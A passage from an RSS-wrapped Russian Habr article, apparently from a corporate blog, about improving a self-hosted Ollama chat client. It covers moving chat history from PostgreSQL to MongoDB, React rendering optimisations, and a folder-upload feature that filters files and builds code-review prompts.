целиком.&lt;/ul&gt;&lt;p&gt;Что даст замена базы данных?&lt;strong&gt; Скорость записи и чтения станет выше.&lt;/strong&gt; PostgreSQL режет большой ответ на чанки, сжимает их и раскладывает по TOAST-таблицам, а потом собирает его из разных частей. MongoDB просто сохранит диалог как единое целое. Это особенно заметно на больших объёмах данных. Благодаря этому&lt;strong&gt; код и вообще логика приложения станет проще&lt;/strong&gt;, ведь не нужно думать о транзакциях для обновления диалога. Вся история — это один документ. &lt;p&gt;Что ещё важно: MongoDB в шесть раз эффективнее использует дисковое пространство при работе с JSON по сравнению с PostgreSQL. Нагрузка на процессор также будет ниже, так как не нужно постоянно сжимать и распаковывать большие объёмы текста.&lt;p&gt;Да, у MongoDB есть и ограничения, но они не так уж критичны для нашего конкретного проекта: &lt;ul&gt;&lt;li&gt;&lt;p&gt;Лимит. 16 МБ — это не так уж и мало, их хватит для хранения огромной истории переписки. Говорят, что все тексты Вильяма Шекспира в текстовом формате занимают около 5,5 МБ. &lt;li&gt;&lt;p&gt;Фрагментация. При интенсивной вставке и удалении очень больших документов (близких к лимиту) может возникать фрагментация дискового пространства. Однако судя по нашей архитектуре и тому, что я хочу получить, скорее всего, буду дополнять существующие документы, а не перезаписывать их целиком, так что эта проблема вряд ли нам грозит.&lt;li&gt;&lt;p&gt;Поиск по тексту. Если мне понадобится полнотекстовый поиск по ответам модели, MongoDB предоставит мощные инструменты (Atlas Search), построенные на Apache Lucene. Это эффективнее, чем LIKE-запросы в PostgreSQL.&lt;/ul&gt;&lt;h4&gt;Какую проблему решила замена БД&lt;/h4&gt;&lt;p&gt;Естественной единицей информации в нашем приложении является не отдельное сообщение, а сессия чата (диалог). Пользователь общается с ассистентом, сообщения идут друг за другом, и для контекста нам нужно хранить их последовательно.&lt;p&gt;В реляционной модели мы вынуждены хранить каждое сообщение отдельной строкой в таблице &lt;code&gt;chat_history&lt;/code&gt;, связывая их через &lt;code&gt;session_id&lt;/code&gt;. Это работало, но выглядело как натягивание совы на глобус, плюс длинные тексты обрабатываются достаточно долго. Каждый запрос на получение истории требовал сборки диалога по кусочкам, что усложняло код.&lt;pre&gt;&lt;code class=pgsql&gt;sql&#xA;-- Было: каждое сообщение отдельной строкой&#xA;SELECT * FROM chat_history WHERE session_id = ? ORDER BY created_at;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;MongoDB предложила гораздо более элегантное решение. Теперь одна сессия чата — это один документ в коллекции &lt;code&gt;chat_sessions&lt;/code&gt;. Внутри документа — массив &lt;code&gt;messages&lt;/code&gt;, где каждое сообщение хранится как вложенный документ со своим &lt;code&gt;role&lt;/code&gt; (user/assistant), &lt;code&gt;content&lt;/code&gt; и &lt;code&gt;timestamp&lt;/code&gt;.&lt;p&gt;Взгляните на новую модель ChatHistory:&lt;pre&gt;&lt;code class=java&gt;java&#xA;@Data&#xA;@NoArgsConstructor&#xA;@Document(collection = &amp;#34;chat_sessions&amp;#34;)&#xA;public class ChatHistory {&#xA;    @Id&#xA;    private String id;&#xA; &#xA;    @Indexed(unique = true)&#xA;    private String sessionId;&#xA; &#xA;    private List&amp;lt;ChatMessage&amp;gt; messages = new ArrayList&amp;lt;&amp;gt;(); // Вот оно!&#xA; &#xA;    private String model;&#xA;    private LocalDateTime createdAt;&#xA;    private LocalDateTime lastUpdatedAt;&#xA; &#xA;    @Data&#xA;    @NoArgsConstructor&#xA;    public static class ChatMessage {&#xA;        private String role;&#xA;        private String content;&#xA;        private LocalDateTime timestamp;&#xA;    }&#xA; &#xA;    // Вспомогательные методы для работы с сообщениями&#xA;    public void addUserMessage(String content) { ... }&#xA;    public void addAssistantMessage(String content) { ... }&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Это не просто изменение схемы, это изменение парадигмы: теперь мы получаем сессию целиком. Один запрос к базе — и у меня в руках готовый объект &lt;code&gt;ChatHistory&lt;/code&gt; со всей историей диалога. А методы &lt;code&gt;addUserMessage&lt;/code&gt; и &lt;code&gt;addAssistantMessage&lt;/code&gt; инкапсулируют логику добавления нового сообщения в массив и обновления времени. &lt;p&gt;Код сервиса стал чище и понятнее. Теперь я не собираю историю по кусочкам, а просто работаю с цельным объектом.&lt;pre&gt;&lt;code class=java&gt;java&#xA;// Стало: получаем всю сессию и работаем с её массивом сообщений&#xA;ChatHistory session = getOrCreateSession(request.getSessionId(), request.getModel());&#xA;List&amp;lt;ChatHistory.ChatMessage&amp;gt; historyMessages = session.getLastMessages(MAX_HISTORY_MESSAGES);&#xA;// ... формируем запрос к API, добавляя сообщения из historyMessages&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Конечно, я понимаю, что NoSQL — не серебряная пуля, но для сценария «документоориентированного» чата это решение кажется на удивление удачным и естественным.&lt;h3&gt;Боремся с «тугодумством» и оптимизируем фронтенд &lt;/h3&gt;&lt;p&gt;Вторая проблема проявилась, когда я начал активно тестировать проект с длинными промтами и ответами от LLM. Фронтенд на React начинал заметно подтормаживать, а иногда и вовсе зависать на несколько секунд. В чём же дело?&lt;p&gt;Каждый новый чанк вызывал обновление состояния &lt;code&gt;messages&lt;/code&gt; в компоненте &lt;code&gt;Chat&lt;/code&gt;. Это, в свою очередь, приводило к полному перерендеру всего дерева компонентов, включая &lt;code&gt;MessageList&lt;/code&gt; и все дочерние сообщения. При длинном ответе, состоящем из тысяч чанков, React просто не успевал перерисовывать интерфейс 60 раз в секунду.&lt;h4&gt;Решение 1: мемоизация с React.memo и useCallback&lt;/h4&gt;&lt;p&gt;Первым делом применил стандартные, но очень эффективные инструменты React:&lt;p&gt;&lt;strong&gt;React.memo для компонентов.&lt;/strong&gt; Обернуть компоненты &lt;code&gt;MessageList&lt;/code&gt; и &lt;code&gt;ModelSelector&lt;/code&gt; в &lt;code&gt;React.memo&lt;/code&gt;. Это говорит React: «Перерисовывай меня только тогда, когда изменились мои props».&lt;pre&gt;&lt;code class=typescript&gt;typescript&#xA;// frontend/src/components/MessageList.tsx&#xA;export default React.memo(MessageList);&#xA;// frontend/src/components/ModelSelector.tsx&#xA;export default React.memo(ModelSelector);&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;useCallback для функций.&lt;/strong&gt; Все функции, передаваемые как props дочерним компонентам (например, &lt;code&gt;onPromptGenerated&lt;/code&gt;, &lt;code&gt;clearHistory&lt;/code&gt;), обернуть в &lt;code&gt;useCallback&lt;/code&gt;. Это гарантирует, что ссылка на функцию не будет меняться при каждом рендере родителя и &lt;code&gt;React.memo&lt;/code&gt; сможет корректно отработать.&lt;pre&gt;&lt;code class=typescript&gt;typescript&#xA;// frontend/src/components/Chat.tsx&#xA;const clearHistory = useCallback(async () =&amp;gt; { ... }, [sessionId, generateSessionId]);&#xA;const handlePromptGenerated = useCallback((prompt: string) =&amp;gt; { ... }, []);&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h4&gt;Решение 2: мемоизация значений с useMemo&lt;/h4&gt;&lt;p&gt;Следующим шагом стала мемоизация тяжёлых вычислений. Самый показательный пример — рендер списка сообщений. Вместо того чтобы на каждом обновлении пробегаться по массиву &lt;code&gt;messages&lt;/code&gt; и генерировать JSX, делаем это только при изменении самих сообщений или состояния &lt;code&gt;expandedMessages&lt;/code&gt;.&lt;pre&gt;&lt;code class=typescript&gt;typescript&#xA;// frontend/src/components/MessageList.tsx&#xA;const messageElements = useMemo(() =&amp;gt; {&#xA;    return messages.map((message) =&amp;gt; {&#xA;        // ... генерация JSX для каждого сообщения&#xA;    });&#xA;}, [messages, expandedMessages, formatMessage]); // Пересоздаём только при изменении этих зависимостей&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h4&gt;Решение 3: дебаунсинг сохранения в localStorage&lt;/h4&gt;&lt;p&gt;Сохранение истории в &lt;code&gt;localStorage&lt;/code&gt; — операция небыстрая и синхронная. Делать её после каждого чанка было бы самоубийством. Я применил простой дебаунсинг с &lt;code&gt;setTimeout&lt;/code&gt;. Сохранение происходит только через 500 миллисекунд после того, как пользователь перестал печатать или стрим завершил отправку чанков.&lt;pre&gt;&lt;code class=typescript&gt;typescript&#xA;useEffect(() =&amp;gt; {&#xA;    if (messages.length &amp;gt; 0) {&#xA;        const timeoutId = setTimeout(() =&amp;gt; {&#xA;            saveMessagesToStorage(messages);&#xA;        }, 500);&#xA;        return () =&amp;gt; clearTimeout(timeoutId);&#xA;    }&#xA;}, [messages, saveMessagesToStorage]);&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Эти нехитрые, но важные оптимизации полностью решили проблему с зависаниями. Интерфейс снова стал отзывчивым и плавным, даже когда ассистент выдавал многотысячные токены кода.&lt;h3&gt;ИИ-анализ проекта, или как загружать код на ревью с умом&lt;/h3&gt;&lt;p&gt;Самая интересная новая фича — это возможность загрузить папку с проектом и попросить ИИ проанализировать код. Но просто загрузить все файлы подряд — плохая идея. В папке node_modules могут быть тысячи файлов, а бинарники вроде картинок нам вообще не нужны.&lt;p&gt;Первое, что я сделал, — научил фронт &lt;strong&gt;читать и парсить файл .gitignore&lt;/strong&gt;. Если он есть в загружаемом проекте, я создаю парсер, который понимает его правила. Это позволяет на лету отфильтровывать те файлы и папки, которые разработчик и так не хочет видеть в репозитории.&lt;pre&gt;&lt;code class=typescript&gt;typescript&#xA;// Упрощённая версия класса-парсера&#xA;class GitIgnoreParser {&#xA;  // ...&#xA;  shouldIgnore(filePath: string): boolean {&#xA;    // Сначала проверяем правила исключений (!)&#xA;    // Потом проверяем основные паттерны&#xA;    // ...&#xA;  }&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Затем реализовал свой&lt;strong&gt; чёрный список (DEFAULT_IGNORE_PATTERNS)&lt;/strong&gt;. В него попали:&lt;ul&gt;&lt;li&gt;&lt;p&gt;системные файлы: &lt;code&gt;.DS_Store&lt;/code&gt;, &lt;code&gt;Thumbs.db&lt;/code&gt;;&lt;li&gt;&lt;p&gt;папки зависимостей: &lt;code&gt;node_modules/&lt;/code&gt;, &lt;code&gt;vendor/&lt;/code&gt;, &lt;code&gt;target/&lt;/code&gt;;&lt;li&gt;&lt;p&gt;папки сборки: &lt;code&gt;dist/&lt;/code&gt;, &lt;code&gt;build/&lt;/code&gt;, &lt;code&gt;.next/&lt;/code&gt;;&lt;li&gt;&lt;p&gt;любые бинарники: картинки, видео, архивы, исполняемые файлы;&lt;li&gt;&lt;p&gt;файлы-блокировщики: &lt;code&gt;package-lock.json&lt;/code&gt;, &lt;code&gt;yarn.lock&lt;/code&gt; (обычно они огромны и не несут смысла для анализа);&lt;li&gt;&lt;p&gt;слишком большие файлы: установил лимит в 5 МБ на файл.&lt;/ul&gt;&lt;p&gt;Наконец, добавил&lt;strong&gt; удобный интерфейс&lt;/strong&gt;. После выбора папки пользователь видит красивое дерево файлов, где можно выбирать отдельные файлы или целые директории для анализа. Интерфейс показывает частичный выбор в папках (то самое неопределённое состояние чекбокса), размер файлов и их язык. Снизу отображается статистика по выбранным файлам и редактируемый шаблон промта, в который можно вставить как структуру проекта, так и содержимое выбранных файлов.&lt;pre&gt;&lt;code class=typescript&gt;typescript&#xA;const generatePrompt = () =&amp;gt; {&#xA;    let prompt = promptTemplate;&#xA;    if (includeFileTree) {&#xA;        const treeLines = generateFileTreeText(fileTree);&#xA;        prompt = prompt.replace(&amp;#39;{{FILE_TREE}}&amp;#39;, `Структура проекта:n${treeLines.join(&amp;#39;n&amp;#39;)}n`);&#xA;    }&#xA;    prompt = prompt.replace(&amp;#39;{{FILE_CONTENTS}}&amp;#39;, generateSelectedFileContents());&#xA;    onPromptGenerated(prompt);&#xA;};&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Нажатие кнопки «Создать промт» вставляет готовый текст в поле ввода, и можно сразу отправлять запрос ИИ на анализ своего кода. Мечта любого разработчика, который хочет получить ревью от нейросети, не копируя файлы вручную.&lt;h3&gt;Заключение&lt;/h3&gt;&lt;p&gt;Проект продолжает развиваться. Была заменена неудобная реляционная модель на естественную документную, интерфейс стал отзывчивым даже при самых «разговорчивых» нейросетях, и добавлена киллер-фича для анализа кода.&lt;p&gt;Что дальше? В планах — поддержка системных промтов, возможность сравнивать ответы разных моделей на один запрос и, конечно, исправление новых багов, которые обязательно появятся. Жду ваших звёздочек и пул-реквестов &lt;a href=https://gitverse.ru/nickolden/ollama-client&gt;на GitVerse&lt;/a&gt; в ветке proj-selector!&lt;blockquote&gt;&lt;p&gt;&lt;a href=&#34;https://cloud.beeline.ru/?utm_source=owned_media&amp;amp;utm_medium=habr&amp;amp;utm_campaign=beeline_cloud&amp;amp;utm_term=mongodb&#34;&gt;&lt;em&gt;Beeline Cloud&lt;/em&gt;&lt;/a&gt;&lt;em&gt; — безопасный облачный провайдер. Разрабатываем облачные решения, чтобы вы предоставляли клиентам лучшие сервисы.&lt;/em&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/beeline_cloud/articles/1046111/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046111</guid>
      <pubDate>Wed, 10 Jun 2026 14:40:01 +0000</pubDate>
    </item>
  </channel>
</rss>